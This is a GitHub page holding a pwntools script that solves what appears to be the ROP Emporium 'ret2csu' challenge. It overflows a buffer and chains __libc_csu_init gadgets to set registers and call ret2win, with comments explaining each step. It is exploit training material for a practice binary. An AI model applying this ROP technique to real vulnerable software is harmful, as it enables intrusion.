-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathret2csu.py
73 lines (55 loc) · 1.46 KB
/
ret2csu.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
e = ELF('./ret2csu')
p = e.process()
print(p.recv().decode())
# raw_input('attach gdb')
# padding for buffer overflow
padding = b'A' * 40
# ret2win
ret2win = p64(e.symbols['ret2win'])
# arg to ret2win
arg = p64(0xdeadcafebabebeef)
# gadgets found in __libc_csu_init function not listed by ROPGadget
# Used till ret
# mov rdx,r15
# mov rsi,r14
# mov edi,r13d
# call QWORD PTR [r12+rbx*8]
# add rbx,0x1
# cmp rbp,rbx
# jne 0x400880 <__libc_csu_init+64>
# add rsp,0x8
# pop rbx
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
# ret
mov = p64(0x400880)
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
pop = p64(0x40089a)
payload = padding
payload += pop
# rbx -> 0
payload += p64(0)
# rbp -> 1 (for cmp rbp, rbx later)
payload += p64(0x1)
# r12 -> address where address of _init is stored found in _DYNAMIC section
# a simple function had to be called which did not manipulate any registers and
# the address where address of such a function is to be stored in r12
payload += p64(0x600e38)
# r13, r14 -> junk
payload += p64(0x3131313131313131)
payload += p64(0x3131313131313131)
# r15 -> gets moved to rdx which is arg
payload += arg
payload += mov
# cmp is made true by setting rbp 1 to avoid jumping
# 7 junk values are saved to slide down the pops in the chain
payload += p64(0) * 7
# mov chain rets to the value at top of stack
payload += ret2win
p.sendline(payload)
flag = p.recv().decode()
success(flag)